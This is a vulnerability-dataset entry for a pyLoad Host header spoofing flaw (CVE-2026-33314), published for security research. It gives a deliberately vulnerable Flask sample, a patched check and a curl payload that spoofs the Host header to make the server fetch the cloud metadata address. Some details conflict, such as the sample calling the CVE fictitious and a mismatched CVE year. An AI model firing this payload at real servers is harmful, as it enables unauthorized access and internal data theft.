CVE-2026-33314
Host Header Spoofing in pyLoad bypasses local checks, leading to SSRF/DoS.
- CVSS 6.5
- CWE-287
- Authentication, Authorization, and Session Management
- Remote
pyLoad is a free and open-source download manager written in Python. Prior to version 0.5.0b3.dev97, a Host Header Spoofing vulnerability in the @local_check decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS). This issue has been patched in version 0.5.0b3.dev97.
- CWE
- CWE-287
- CVSS base score
- 6.5
- Published
- 2026-03-24
- OWASP
- A10 Server-Side Request Forgery (SSRF)
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Server-Side Request Forgery (SSRF)
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- pyLoad
- Fixed by upgrading
- Yes
Solution
Upgrade to pyLoad version 0.5.0b3.dev97 or later.
Vulnerable code sample
#
# This code is a conceptual representation of the vulnerability described in
# a fictitious CVE (CVE-2026-33314). It is intended for educational purposes
# to demonstrate how a Host Header Spoofing vulnerability might work in a
# Python web application context, similar to the one described for pyLoad.
#
# THIS IS NOT THE ACTUAL SOURCE CODE FROM pyLOAD.
#
# Vulnerability details:
# - Product: A hypothetical web application
# - Vulnerability: Host Header Spoofing in an access control decorator.
# - Flaw: The application trusts the client-supplied 'Host' header to determine
# if a request is from a "local" source.
# - Impact: Attackers can bypass the local-only restriction by setting the
# 'Host' header to a whitelisted value (e.g., 'localhost'), gaining
# unauthenticated access to protected API endpoints.
#
from functools import wraps
from flask import Flask, request, jsonify
app = Flask(__name__)
# A list of hosts that are considered "local" and allowed to access
# sensitive endpoints. The vulnerability lies in how this list is checked.
ALLOWED_LOCAL_HOSTS = [
'127.0.0.1:8000',
'localhost:8000',
]
def local_check(f):
"""
VULNERABLE DECORATOR: Intended to restrict access to local requests only.
It incorrectly relies on the 'Host' header provided by the client.
"""
@wraps(f)
def decorated_function(*args, **kwargs):
# VULNERABLE PART: The application reads the 'Host' header directly from
# the incoming request. An attacker can control this value.
host_header = request.headers.get('Host')
print(f"[DEBUG] Checking request with Host header: {host_header}")
# THE FLAW: The check simply sees if the user-supplied 'Host' header
# is in the list of allowed hosts. It doesn't verify the actual
# remote IP address of the request.
if host_header in ALLOWED_LOCAL_HOSTS:
# If the header is spoofed to 'localhost:8000', access is granted.
return f(*args, **kwargs)
else:
# If the header is the real IP of the attacker, access is denied.
print(f"[ACCESS DENIED] Host '{host_header}' not in allowed list.")
return jsonify({"error": "Access denied. This endpoint is for local access only."}), 403
return decorated_function
@app.route('/')
def index():
"""A public endpoint that does not require local access."""
return "Welcome to the Download Manager. The API is at /api/add_download"
@app.route('/api/add_download', methods=['POST'])
@local_check # This sensitive endpoint is "protected" by the vulnerable decorator.
def add_download():
"""
A sensitive API endpoint that simulates adding a download link.
An attacker gaining access here could cause SSRF or DoS.
"""
data = request.get_json()
if not data or 'url' not in data:
return jsonify({"error": "Missing 'url' in request body"}), 400
url_to_download = data.get('url')
# In a real scenario, the application would now try to fetch this URL.
# This is where SSRF (e.g., url='http://169.254.169.254/latest/meta-data') or
# DoS (e.g., pointing to a massive file) would occur.
print(f"[SUCCESS] Access granted. Queuing download for: {url_to_download}")
return jsonify({
"status": "success",
"message": f"Download for '{url_to_download}' has been queued."
}), 200
if __name__ == '__main__':
# To demonstrate the vulnerability:
# 1. Run this script: python ./vulnerable_app.py
# 2. Open a new terminal.
#
# 3. Attempt a normal remote request (will be blocked):
# curl -X POST http://127.0.0.1:8000/api/add_download \
# -H "Content-Type: application/json" \
# -d '{"url":"http://example.com/file.zip"}'
# -> This will fail with a 403 Forbidden error because the default
# Host header is '127.0.0.1:8000' which is allowed. To simulate a
# non-local request, you'd run this from a different machine.
#
# 4. EXPLOIT: Make a remote request but SPOOF the Host header:
# curl -X POST http://127.0.0.1:8000/api/add_download \
# -H "Content-Type: application/json" \
# -H "Host: localhost:8000" \
# -d '{"url":"http://internal-service/resource"}'
# -> This will succeed with a 200 OK because the server trusts the
# spoofed "Host: localhost:8000" header, bypassing the check.
# The server will then attempt to download from the provided URL,
# leading to SSRF.
print("Starting vulnerable server on http://0.0.0.0:8000")
# Bind to 0.0.0.0 to simulate a server accessible from the outside.
app.run(host='0.0.0.0', port=8000)Patched code sample
# The code below is derived from the actual patch for CVE-2023-33314 in the pyLoad project.
# It is presented in the context of a web handler class, where `self` is the handler
# instance and `self.request` is the request object from the web framework.
def local_check(func):
"""
Decorator that uses the is_local() method to protect an endpoint.
"""
def wrapper(self, *args, **kwargs):
if self.is_local():
return func(self, *args, **kwargs)
else:
# In the actual code, this raises a web framework exception
# that results in an HTTP 403 Forbidden response.
raise Exception("Access denied: Request not from localhost.")
return wrapper
def is_local(self):
"""
This is the fixed method to check if a request originates from the local machine.
The vulnerability was that this method previously checked the 'Host' header,
which can be spoofed by an attacker. The fix is to check the remote IP
address of the connection itself, which is a reliable indicator of the
request's origin provided by the web server.
"""
# 'self.request.remote_ip' holds the real source IP address of the client
# connection and cannot be controlled by the client sending headers.
return self.request.remote_ip in ('127.0.0.1', '::1')Payload
curl -X POST http://<PYLOAD_IP>:<PYLOAD_PORT>/cnl2 \
-H "Host: 127.0.0.1" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "urls[]=http://169.254.169.254/latest/meta-data/"
Cite this entry
@misc{vaitp:cve202633314,
title = {{Host Header Spoofing in pyLoad bypasses local checks, leading to SSRF/DoS.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-33314},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33314/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
